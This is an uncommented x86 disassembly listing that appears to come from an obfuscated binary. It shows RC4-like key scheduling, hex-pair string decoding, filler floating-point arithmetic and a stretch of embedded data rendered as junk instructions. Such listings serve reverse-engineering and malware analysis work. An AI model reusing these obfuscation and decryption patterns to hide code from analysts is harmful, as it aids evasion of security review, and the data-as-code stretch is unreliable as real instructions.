movzx edx, byte [ebp - 0x741]
add edx, ecx
mov byte [ebp - 0x741], dl
movzx eax, byte [ebp - 0x742]
movzx ecx, byte [ebp - 0x737]
movzx edx, byte [ebp + ecx - 0x124]
movzx ecx, byte [ebp - 0x735]
movzx ecx, byte [ebp + ecx - 0x124]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x124]
xor eax, edx
movzx ecx, byte [ebp - 0x738]
movzx edx, byte [ebp + ecx - 0x124]
movzx ecx, byte [ebp - 0x73b]
movzx ecx, byte [ebp + ecx - 0x124]
add edx, ecx
movzx ecx, byte [ebp - 0x741]
movzx ecx, byte [ebp + ecx - 0x124]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x124]
movzx ecx, byte [ebp + edx - 0x124]
xor eax, ecx
mov byte [ebp - 0x738], al
mov dl, byte [ebp - 0x742]
mov byte [ebp - 0x73b], dl
mov al, byte [ebp - 0x738]
mov byte [ebp - 0x759], al
cmp dword [ebp - 0x750], 0
jbe 0x985539
movsx cx, byte [ebp - 0x759]
mov edx, dword [ebp - 0x750]
mov word [ebp + edx*2 - 0x26], cx
jmp 0x9852d0
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x750]
add ecx, 1
mov dword [ebp - 0x750], ecx
mov edx, dword [ebp - 0x78c]
add edx, 1
mov dword [ebp - 0x78c], edx
mov eax, dword [ebp - 0x750]
shl eax, 1
mov dword [ebp - 0x7b8], eax
mov ecx, dword [ebp - 0x7e0]
add ecx, dword [ebp - 0x7b8]
movzx edx, byte [ecx]
mov dword [ebp - 0x7a0], edx
mov dword [ebp - 0x7a4], 0x13
mov eax, dword [ebp - 0x750]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x7bc], ecx
mov edx, dword [ebp - 0x7e0]
add edx, dword [ebp - 0x7bc]
movzx eax, byte [edx]
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7ac], 0x10
mov ecx, dword [ebp - 0x7a0]
sub ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x7b0], ecx
mov edx, dword [ebp - 0x7a8]
sub edx, dword [ebp - 0x7ac]
mov dword [ebp - 0x7b4], edx
mov eax, dword [ebp - 0x7b0]
shl eax, 4
mov dword [ebp - 0x7c0], eax
mov ecx, dword [ebp - 0x7b4]
mov dword [ebp - 0x7c4], ecx
mov edx, dword [ebp - 0x7c0]
or edx, dword [ebp - 0x7c4]
mov dword [ebp - 0x7c8], edx
mov al, byte [ebp - 0x7c8]
mov byte [ebp - 0x742], al
movzx ecx, byte [ebp - 0x73b]
mov dl, byte [ebp + ecx - 0x124]
mov byte [ebp - 0x740], dl
movzx eax, byte [ebp - 0x735]
movzx ecx, byte [ebp + eax - 0x124]
movzx edx, byte [ebp - 0x737]
add edx, ecx
mov byte [ebp - 0x737], dl
mov al, byte [ebp - 0x735]
add al, 1
mov byte [ebp - 0x735], al
movzx ecx, byte [ebp - 0x737]
movzx edx, byte [ebp - 0x73b]
mov al, byte [ebp + ecx - 0x124]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x738]
movzx edx, byte [ebp - 0x737]
mov al, byte [ebp + ecx - 0x124]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x735]
movzx edx, byte [ebp - 0x738]
mov al, byte [ebp + ecx - 0x124]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x735]
mov dl, byte [ebp - 0x740]
mov byte [ebp + ecx - 0x124], dl
movzx eax, byte [ebp - 0x740]
movzx ecx, byte [ebp + eax - 0x124]
movzx edx, byte [ebp - 0x741]
add edx, ecx
mov byte [ebp - 0x741], dl
movzx eax, byte [ebp - 0x742]
movzx ecx, byte [ebp - 0x737]
movzx edx, byte [ebp + ecx - 0x124]
movzx ecx, byte [ebp - 0x735]
movzx ecx, byte [ebp + ecx - 0x124]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x124]
xor eax, edx
movzx ecx, byte [ebp - 0x738]
movzx edx, byte [ebp + ecx - 0x124]
movzx ecx, byte [ebp - 0x73b]
movzx ecx, byte [ebp + ecx - 0x124]
add edx, ecx
movzx ecx, byte [ebp - 0x741]
movzx ecx, byte [ebp + ecx - 0x124]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x124]
movzx ecx, byte [ebp + edx - 0x124]
xor eax, ecx
mov byte [ebp - 0x738], al
mov dl, byte [ebp - 0x742]
mov byte [ebp - 0x73b], dl
mov al, byte [ebp - 0x738]
mov byte [ebp - 0x759], al
cmp dword [ebp - 0x750], 0
jbe 0x9857a4
movsx cx, byte [ebp - 0x759]
mov edx, dword [ebp - 0x750]
mov word [ebp + edx*2 - 0x26], cx
mov eax, dword [ebp - 0x750]
add eax, 1
mov dword [ebp - 0x750], eax
movss xmm0, dword [0x9fa2e4]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [0x9fa2b8]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [0x9fa288]
movss dword [ebp - 0x794], xmm0
movss xmm0, dword [0x9fa258]
movss dword [ebp - 0x788], xmm0
movss xmm0, dword [ebp - 0x778]
addss xmm0, dword [ebp - 0x788]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x76c]
subss xmm0, dword [ebp - 0x788]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x778]
subss xmm0, dword [ebp - 0x788]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x794]
addss xmm0, dword [ebp - 0x788]
movss dword [ebp - 0x794], xmm0
movss xmm0, dword [ebp - 0x788]
comiss xmm0, dword [ebp - 0x778]
jbe 0x9859fd
movss xmm0, dword [ebp - 0x794]
mulss xmm0, dword [ebp - 0x788]
movss dword [ebp - 0x794], xmm0
movss xmm0, dword [ebp - 0x788]
divss xmm0, dword [ebp - 0x778]
movss dword [ebp - 0x788], xmm0
movss xmm0, dword [ebp - 0x788]
mulss xmm0, dword [ebp - 0x778]
movss dword [ebp - 0x788], xmm0
movss xmm0, dword [ebp - 0x778]
subss xmm0, dword [ebp - 0x76c]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x76c]
subss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x778]
addss xmm0, dword [ebp - 0x76c]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x76c]
addss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x788]
mulss xmm0, dword [ebp - 0x778]
movss dword [ebp - 0x788], xmm0
movss xmm0, dword [ebp - 0x778]
comiss xmm0, dword [ebp - 0x794]
jbe 0x98599b
movss xmm0, dword [ebp - 0x76c]
subss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x794]
mulss xmm0, dword [ebp - 0x788]
movss dword [ebp - 0x794], xmm0
movss xmm0, dword [ebp - 0x778]
divss xmm0, dword [ebp - 0x76c]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x76c]
subss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
jmp 0x9859fb
movss xmm0, dword [ebp - 0x76c]
subss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x76c]
mulss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x788]
divss xmm0, dword [ebp - 0x778]
movss dword [ebp - 0x788], xmm0
movss xmm0, dword [ebp - 0x778]
subss xmm0, dword [ebp - 0x76c]
movss dword [ebp - 0x778], xmm0
jmp 0x985a6c
mov ecx, dword [ebp - 0x78c]
add ecx, 1
mov dword [ebp - 0x78c], ecx
movss xmm0, dword [ebp - 0x76c]
subss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x76c]
addss xmm0, dword [ebp - 0x794]
movss dword [ebp - 0x76c], xmm0
movss xmm0, dword [ebp - 0x788]
subss xmm0, dword [ebp - 0x778]
movss dword [ebp - 0x788], xmm0
movss xmm0, dword [ebp - 0x778]
addss xmm0, dword [ebp - 0x76c]
movss dword [ebp - 0x778], xmm0
mov edx, dword [ebp - 0x750]
shl edx, 1
mov dword [ebp - 0x7b8], edx
mov eax, dword [ebp - 0x7e0]
add eax, dword [ebp - 0x7b8]
movzx ecx, byte [eax]
mov dword [ebp - 0x7a0], ecx
mov dword [ebp - 0x7a4], 0x13
mov edx, dword [ebp - 0x750]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x7bc], eax
mov ecx, dword [ebp - 0x7e0]
add ecx, dword [ebp - 0x7bc]
movzx edx, byte [ecx]
mov dword [ebp - 0x7a8], edx
mov dword [ebp - 0x7ac], 0x10
mov eax, dword [ebp - 0x7a0]
sub eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x7b0], eax
mov ecx, dword [ebp - 0x7a8]
sub ecx, dword [ebp - 0x7ac]
mov dword [ebp - 0x7b4], ecx
mov edx, dword [ebp - 0x7b0]
shl edx, 4
mov dword [ebp - 0x7c0], edx
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x7c4], eax
mov ecx, dword [ebp - 0x7c0]
or ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x7c8], ecx
mov dl, byte [ebp - 0x7c8]
mov byte [ebp - 0x742], dl
movzx eax, byte [ebp - 0x73b]
mov cl, byte [ebp + eax - 0x124]
mov byte [ebp - 0x740], cl
movzx edx, byte [ebp - 0x735]
movzx eax, byte [ebp + edx - 0x124]
movzx ecx, byte [ebp - 0x737]
add ecx, eax
mov byte [ebp - 0x737], cl
mov dl, byte [ebp - 0x735]
add dl, 1
mov byte [ebp - 0x735], dl
movzx eax, byte [ebp - 0x737]
movzx ecx, byte [ebp - 0x73b]
mov dl, byte [ebp + eax - 0x124]
mov byte [ebp + ecx - 0x124], dl
movzx eax, byte [ebp - 0x738]
movzx ecx, byte [ebp - 0x737]
mov dl, byte [ebp + eax - 0x124]
mov byte [ebp + ecx - 0x124], dl
movzx eax, byte [ebp - 0x735]
movzx ecx, byte [ebp - 0x738]
mov dl, byte [ebp + eax - 0x124]
mov byte [ebp + ecx - 0x124], dl
movzx eax, byte [ebp - 0x735]
mov cl, byte [ebp - 0x740]
mov byte [ebp + eax - 0x124], cl
movzx edx, byte [ebp - 0x740]
movzx eax, byte [ebp + edx - 0x124]
movzx ecx, byte [ebp - 0x741]
add ecx, eax
mov byte [ebp - 0x741], cl
movzx edx, byte [ebp - 0x742]
movzx eax, byte [ebp - 0x737]
movzx ecx, byte [ebp + eax - 0x124]
movzx eax, byte [ebp - 0x735]
movzx eax, byte [ebp + eax - 0x124]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x124]
xor edx, ecx
movzx eax, byte [ebp - 0x738]
movzx ecx, byte [ebp + eax - 0x124]
movzx eax, byte [ebp - 0x73b]
movzx eax, byte [ebp + eax - 0x124]
add ecx, eax
movzx eax, byte [ebp - 0x741]
movzx eax, byte [ebp + eax - 0x124]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x124]
movzx eax, byte [ebp + ecx - 0x124]
xor edx, eax
mov byte [ebp - 0x738], dl
mov cl, byte [ebp - 0x742]
mov byte [ebp - 0x73b], cl
mov dl, byte [ebp - 0x738]
mov byte [ebp - 0x759], dl
cmp dword [ebp - 0x750], 0
jbe 0x985ca6
movsx ax, byte [ebp - 0x759]
mov ecx, dword [ebp - 0x750]
mov word [ebp + ecx*2 - 0x26], ax
mov edx, dword [ebp - 0x750]
add edx, 1
mov dword [ebp - 0x750], edx
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x750]
shl ecx, 1
mov dword [ebp - 0x7b8], ecx
mov edx, dword [ebp - 0x7e0]
add edx, dword [ebp - 0x7b8]
movzx eax, byte [edx]
mov dword [ebp - 0x7a0], eax
mov dword [ebp - 0x7a4], 0x13
mov ecx, dword [ebp - 0x750]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x7bc], edx
mov eax, dword [ebp - 0x7e0]
add eax, dword [ebp - 0x7bc]
movzx ecx, byte [eax]
mov dword [ebp - 0x7a8], ecx
mov dword [ebp - 0x7ac], 0x10
mov edx, dword [ebp - 0x7a0]
sub edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x7b0], edx
mov eax, dword [ebp - 0x7a8]
sub eax, dword [ebp - 0x7ac]
mov dword [ebp - 0x7b4], eax
mov ecx, dword [ebp - 0x7b0]
shl ecx, 4
mov dword [ebp - 0x7c0], ecx
mov edx, dword [ebp - 0x7b4]
mov dword [ebp - 0x7c4], edx
mov eax, dword [ebp - 0x7c0]
or eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x7c8], eax
mov cl, byte [ebp - 0x7c8]
mov byte [ebp - 0x742], cl
movzx edx, byte [ebp - 0x73b]
mov al, byte [ebp + edx - 0x124]
mov byte [ebp - 0x740], al
movzx ecx, byte [ebp - 0x735]
movzx edx, byte [ebp + ecx - 0x124]
movzx eax, byte [ebp - 0x737]
add eax, edx
mov byte [ebp - 0x737], al
mov cl, byte [ebp - 0x735]
add cl, 1
mov byte [ebp - 0x735], cl
movzx edx, byte [ebp - 0x737]
movzx eax, byte [ebp - 0x73b]
mov cl, byte [ebp + edx - 0x124]
mov byte [ebp + eax - 0x124], cl
movzx edx, byte [ebp - 0x738]
movzx eax, byte [ebp - 0x737]
mov cl, byte [ebp + edx - 0x124]
mov byte [ebp + eax - 0x124], cl
movzx edx, byte [ebp - 0x735]
movzx eax, byte [ebp - 0x738]
mov cl, byte [ebp + edx - 0x124]
mov byte [ebp + eax - 0x124], cl
movzx edx, byte [ebp - 0x735]
mov al, byte [ebp - 0x740]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x740]
movzx edx, byte [ebp + ecx - 0x124]
movzx eax, byte [ebp - 0x741]
add eax, edx
mov byte [ebp - 0x741], al
movzx ecx, byte [ebp - 0x742]
movzx edx, byte [ebp - 0x737]
movzx eax, byte [ebp + edx - 0x124]
movzx edx, byte [ebp - 0x735]
movzx edx, byte [ebp + edx - 0x124]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x124]
xor ecx, eax
movzx edx, byte [ebp - 0x738]
movzx eax, byte [ebp + edx - 0x124]
movzx edx, byte [ebp - 0x73b]
movzx edx, byte [ebp + edx - 0x124]
add eax, edx
movzx edx, byte [ebp - 0x741]
movzx edx, byte [ebp + edx - 0x124]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x124]
movzx edx, byte [ebp + eax - 0x124]
xor ecx, edx
mov byte [ebp - 0x738], cl
mov al, byte [ebp - 0x742]
mov byte [ebp - 0x73b], al
mov cl, byte [ebp - 0x738]
mov byte [ebp - 0x759], cl
cmp dword [ebp - 0x750], 0
jbe 0x985efc
movsx dx, byte [ebp - 0x759]
mov eax, dword [ebp - 0x750]
mov word [ebp + eax*2 - 0x26], dx
mov ecx, 2
imul edx, ecx, 5
mov dword [ebp - 0x958], edx
cmp dword [ebp - 0x958], 0xc
jae 0x985f15
jmp 0x985f1a
call fcn.009c2bf7
xor eax, eax
mov ecx, dword [ebp - 0x958]
mov word [ebp + ecx - 0x24], ax
jmp 0x985f7a
mov dword [ebp - 0x750], 0
jmp 0x985f44
mov edx, dword [ebp - 0x750]
add edx, 1
mov dword [ebp - 0x750], edx
cmp dword [ebp - 0x750], 6
jae 0x985f7a
mov eax, dword [ebp - 0x750]
shl eax, 1
mov dword [ebp - 0x95c], eax
cmp dword [ebp - 0x95c], 0xc
jae 0x985f66
jmp 0x985f6b
call fcn.009c2bf7
xor ecx, ecx
mov edx, dword [ebp - 0x95c]
mov word [ebp + edx - 0x24], cx
jmp 0x985f35
xorps xmm0, xmm0
movsd qword [ebp - 0x8dc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8c0], xmm0
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x87c], 0
mov dword [ebp - 0x924], 0
mov dword [ebp - 0x8d4], 1
mov dword [ebp - 0x824], 0
mov dword [ebp - 0x934], 0
mov dword [ebp - 0x858], 0
mov dword [ebp - 0x85c], 0
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x860], 0
mov dword [ebp - 0x82c], 0
mov dword [ebp - 0x830], 0
mov dword [ebp - 0x834], 0
mov dword [ebp - 0x838], 0
mov dword [ebp - 0x864], 0
mov dword [ebp - 0x868], 0
mov dword [ebp - 0x848], 0
mov dword [ebp - 0x9d8], 0
mov byte [ebp - 0x73c], 0
mov byte [ebp - 0x73e], 0
mov byte [ebp - 0x752], 0
mov byte [ebp - 0x73f], 0
mov byte [ebp - 0x743], 0
mov byte [ebp - 0x749], 0
mov byte [ebp - 0x795], 0
mov byte [ebp - 0x753], 0
mov byte [ebp - 0x751], 0
mov byte [ebp - 0x762], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x8dc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8c0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8c0], xmm0
jmp 0x9860cf
movsd xmm0, qword [ebp - 0x8c0]
addsd xmm0, qword [0x9e5058]
movsd qword [ebp - 0x8c0], xmm0
movsd xmm0, qword [0x9e58d8]
comisd xmm0, xmmword [ebp - 0x8c0]
jbe 0x986180
movsd xmm0, qword [0x9e5238]
mulsd xmm0, qword [ebp - 0x8c0]
mulsd xmm0, qword [ebp - 0x8c0]
movsd xmm1, qword [ebp - 0x8c0]
mulsd xmm1, qword [ebp - 0x8c0]
subsd xmm0, xmm1
movsd xmm1, qword [0x9e50e8]
mulsd xmm1, qword [ebp - 0x8c0]
mulsd xmm1, qword [ebp - 0x8c0]
addsd xmm1, qword [0x9e5110]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x8dc]
movsd qword [ebp - 0x8dc], xmm0
movsd xmm0, qword [ebp - 0x8dc]
comisd xmm0, xmmword [0x9e5218]
jbe 0x98617b
movsd xmm0, qword [0x9e5020]
mulsd xmm0, qword [ebp - 0x8c0]
movsd xmm1, qword [ebp - 0x8dc]
subsd xmm1, xmm0
movsd qword [ebp - 0x8dc], xmm1
jmp 0x9860b7
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x8dc]
jbe 0x9861b8
inc ecx
jp 0x9861bb
and esi, dword [ebx + 0x48]
and ah, byte [ebx + 0x35]
inc ebp
pop ebx
jb 0x9861e9
push edx
push 0x52
insb byte es:[edi], dx
and eax, 0x6556587e
dec edx
dec edi
cmp eax, 0x4870653d
stosd dword es:[edi], eax
cdq
mov ch, 0x97
mov bl, 0x91
mov ecx, 0x1619e98e
add byte [eax], al
mov dword [ebp - 0x9a0], 0x9861ab
mov dword [ebp - 0x99c], 0x98618d
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x878], eax
mov ecx, dword [ebp - 0x99c]
mov dword [ebp - 0x9a4], ecx
mov byte [ebp - 0x795], 0x22
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x87c], 0
mov dword [ebp - 0x760], 0
jmp 0x98621a
idiv bh
jmp [ebx - 0x38ff679f]
jmp dword [edx]
mov edx, dword [ebp - 0x760]
add edx, 1
mov dword [ebp - 0x760], edx
cmp dword [ebp - 0x760], 0x100
jae 0x98623b
mov eax, dword [ebp - 0x760]
mov cl, byte [ebp - 0x760]
mov byte [ebp + eax - 0x324], cl
jmp 0x98620b
mov dword [ebp - 0x87c], 0
mov byte [ebp - 0x749], 0
mov dword [ebp - 0x760], 0xff
jmp 0x986267
mov edx, dword [ebp - 0x760]
sub edx, 1
mov dword [ebp - 0x760], edx
cmp dword [ebp - 0x760], 0
jbe 0x9864e1
mov dword [ebp - 0x924], 0
mov dword [ebp - 0x8d4], 1
mov dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x8d4]
cmp eax, dword [ebp - 0x760]
jae 0x9862b2
mov ecx, dword [ebp - 0x8d4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x8d4], edx
jmp 0x986292
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0x960], 3
ja case.default.0x9862d1
mov ecx, dword [ebp - 0x960]
jmp dword [ecx*4 + 0x987868]
movzx edx, byte [ebp - 0x749]
movzx ebx, byte [ebp + edx - 0x324]
movsd xmm0, qword [ebp - 0x8dc]
call fcn.009c2ce0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x749], bl
jmp 0x9863ba
movzx eax, byte [ebp - 0x749]
movzx ebx, byte [ebp + eax - 0x324]
movsd xmm0, qword [ebp - 0x8dc]
call fcn.009c2ce0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x749], bl
jmp 0x9863ba
movzx ecx, byte [ebp - 0x749]
movzx ebx, byte [ebp + ecx - 0x324]
movsd xmm0, qword [ebp - 0x8dc]
call fcn.009c2ce0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x749], bl
jmp 0x9863ba
movzx edx, byte [ebp - 0x749]
movzx ebx, byte [ebp + edx - 0x324]
movsd xmm0, qword [ebp - 0x8dc]
call fcn.009c2ce0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x749], bl
jmp 0x9863ba
movzx eax, byte [ebp - 0x749]
movzx ecx, byte [ebp + eax - 0x324]
mov edx, dword [ebp - 0x9a4]
add edx, dword [ebp - 0x87c]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x749], cl
mov ecx, dword [ebp - 0x87c]
add ecx, 1
mov dword [ebp - 0x87c], ecx
movzx edx, byte [ebp - 0x795]
cmp dword [ebp - 0x87c], edx
jb 0x9863f8
mov dword [ebp - 0x87c], 0
movzx eax, byte [ebp - 0x795]
movzx ecx, byte [ebp - 0x749]
add ecx, eax
mov byte [ebp - 0x749], cl
movzx edx, byte [ebp - 0x749]
and edx, dword [ebp - 0x8d4]
mov dword [ebp - 0x824], edx
mov eax, dword [ebp - 0x924]
add eax, 1
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 0xb
jbe 0x986437
mov eax, dword [ebp - 0x824]
xor edx, edx
div dword [ebp - 0x760]
mov dword [ebp - 0x824], edx
mov ecx, dword [ebp - 0x824]
cmp ecx, dword [ebp - 0x760]
ja 0x9862b2
mov edx, dword [ebp - 0x760]
cmp edx, dword [ebp - 0x824]
je 0x9864dc
mov eax, dword [ebp - 0x824]
movzx ecx, byte [ebp + eax - 0x324]
mov edx, dword [ebp - 0x760]
movzx eax, byte [ebp + edx - 0x324]
xor eax, ecx
mov ecx, dword [ebp - 0x760]
mov byte [ebp + ecx - 0x324], al
mov edx, dword [ebp - 0x760]
movzx eax, byte [ebp + edx - 0x324]
mov ecx, dword [ebp - 0x824]
movzx edx, byte [ebp + ecx - 0x324]
xor edx, eax
mov eax, dword [ebp - 0x824]
mov byte [ebp + eax - 0x324], dl
mov ecx, dword [ebp - 0x824]
movzx edx, byte [ebp + ecx - 0x324]
mov eax, dword [ebp - 0x760]
movzx ecx, byte [ebp + eax - 0x324]
xor ecx, edx
mov edx, dword [ebp - 0x760]
mov byte [ebp + edx - 0x324], cl
jmp 0x986258
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x324]
mov byte [ebp - 0x73c], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x324]
mov byte [ebp - 0x73e], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x324]
mov byte [ebp - 0x752], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x324]
mov byte [ebp - 0x73f], cl
movzx edx, byte [ebp - 0x749]
mov al, byte [ebp + edx - 0x324]
mov byte [ebp - 0x743], al
mov dword [ebp - 0x934], 8
cmp dword [ebp - 0x934], 2
jle 0x987780
mov ecx, dword [ebp - 0x934]
and ecx, 1
jne 0x987780
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x858], 0
mov edx, dword [ebp - 0x858]
add edx, 1
mov dword [ebp - 0x858], edx
mov dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x760]
shl eax, 1
mov dword [ebp - 0x85c], eax
mov dword [ebp - 0x83c], 0
mov ecx, dword [ebp - 0x878]
add ecx, dword [ebp - 0x85c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x83c]
mov dword [ebp - 0x83c], edx
mov dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x828]
add eax, 0xaa
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x860], 0
mov ecx, dword [ebp - 0x760]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x860], edx
mov dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x878]
add eax, dword [ebp - 0x860]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x82c], ecx
mov dword [ebp - 0x830], 0
mov edx, dword [ebp - 0x830]
add edx, 0x8d
mov dword [ebp - 0x830], edx
mov dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x83c]
sub eax, dword [ebp - 0x828]
add eax, dword [ebp - 0x834]
mov dword [ebp - 0x834], eax
mov dword [ebp - 0x838], 0
mov ecx, dword [ebp - 0x82c]
sub ecx, dword [ebp - 0x830]
add ecx, dword [ebp - 0x838]
mov dword [ebp - 0x838], ecx
mov dword [ebp - 0x864], 0
mov edx, dword [ebp - 0x834]
shl edx, 4
mov dword [ebp - 0x864], edx
mov dword [ebp - 0x868], 0
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x848], 0
mov ecx, dword [ebp - 0x864]
or ecx, dword [ebp - 0x868]
mov dword [ebp - 0x848], ecx
mov byte [ebp - 0x753], 0
mov dl, byte [ebp - 0x848]
mov byte [ebp - 0x753], dl
mov byte [ebp - 0x751], 0
movzx eax, byte [ebp - 0x743]
mov cl, byte [ebp + eax - 0x324]
mov byte [ebp - 0x751], cl
movzx edx, byte [ebp - 0x73c]
movzx eax, byte [ebp + edx - 0x324]
movzx ecx, byte [ebp - 0x73e]
add ecx, eax
mov byte [ebp - 0x73e], cl
mov dl, byte [ebp - 0x73c]
add dl, 1
mov byte [ebp - 0x73c], dl
movzx eax, byte [ebp - 0x73e]
movzx ecx, byte [ebp - 0x743]
mov dl, byte [ebp + eax - 0x324]
mov byte [ebp + ecx - 0x324], dl
movzx eax, byte [ebp - 0x73f]
movzx ecx, byte [ebp - 0x73e]
mov dl, byte [ebp + eax - 0x324]
mov byte [ebp + ecx - 0x324], dl
movzx eax, byte [ebp - 0x73c]
movzx ecx, byte [ebp - 0x73f]
mov dl, byte [ebp + eax - 0x324]
mov byte [ebp + ecx - 0x324], dl
movzx eax, byte [ebp - 0x73c]
mov cl, byte [ebp - 0x751]
mov byte [ebp + eax - 0x324], cl
movzx edx, byte [ebp - 0x751]
movzx eax, byte [ebp + edx - 0x324]
movzx ecx, byte [ebp - 0x752]
add ecx, eax
mov byte [ebp - 0x752], cl
movss xmm0, dword [0x9e5b94]
movss dword [ebp - 0x7e4], xmm0
movss xmm0, dword [0x9e5aa0]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [0x9e59a4]
movss dword [ebp - 0x774], xmm0
movss xmm0, dword [ebp - 0x770]
mulss xmm0, dword [ebp - 0x774]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x7e4]
mulss xmm0, dword [ebp - 0x774]
movss dword [ebp - 0x7e4], xmm0
movss xmm0, dword [ebp - 0x770]
addss xmm0, dword [ebp - 0x774]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x774]
comiss xmm0, dword [ebp - 0x7e4]
jbe 0x98697a
movss xmm0, dword [ebp - 0x7e4]
addss xmm0, dword [ebp - 0x770]
movss dword [ebp - 0x7e4], xmm0
movss xmm0, dword [ebp - 0x770]
addss xmm0, dword [ebp - 0x774]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x770]
addss xmm0, dword [ebp - 0x774]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x7e4]
divss xmm0, dword [ebp - 0x770]
movss dword [ebp - 0x7e4], xmm0
movss xmm0, dword [ebp - 0x770]
divss xmm0, dword [ebp - 0x774]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x770]
subss xmm0, dword [ebp - 0x774]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x770]
comiss xmm0, dword [ebp - 0x774]
jbe 0x98692d
movss xmm0, dword [ebp - 0x770]
mulss xmm0, dword [ebp - 0x7e4]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x770]
subss xmm0, dword [ebp - 0x7e4]
movss dword [ebp - 0x770], xmm0
movss xmm0, dword [ebp - 0x774]
divss xmm0, dword [ebp - 0x770]
movss dword [ebp - 0x774], xmm0
jmp 0x986975
movss xmm0, dword [ebp - 0x774]
subss xmm0, dword [ebp - 0x7e4]
movss dword [ebp - 0x774], xmm0
movss xmm0, dword [ebp - 0x774]
addss xmm0, dword [ebp - 0x7e4]
movss dword [ebp - 0x774], xmm0
movss xmm0, dword [ebp - 0x774]
subss xmm0, dword [ebp - 0x7e4]
movss dword [ebp - 0x774], xmm0
jmp 0x986a48
movss xmm0, dword [ebp - 0x774]
mulss xmm0, dword [ebp - 0x770]
movss dword [ebp - 0x774], xmm0
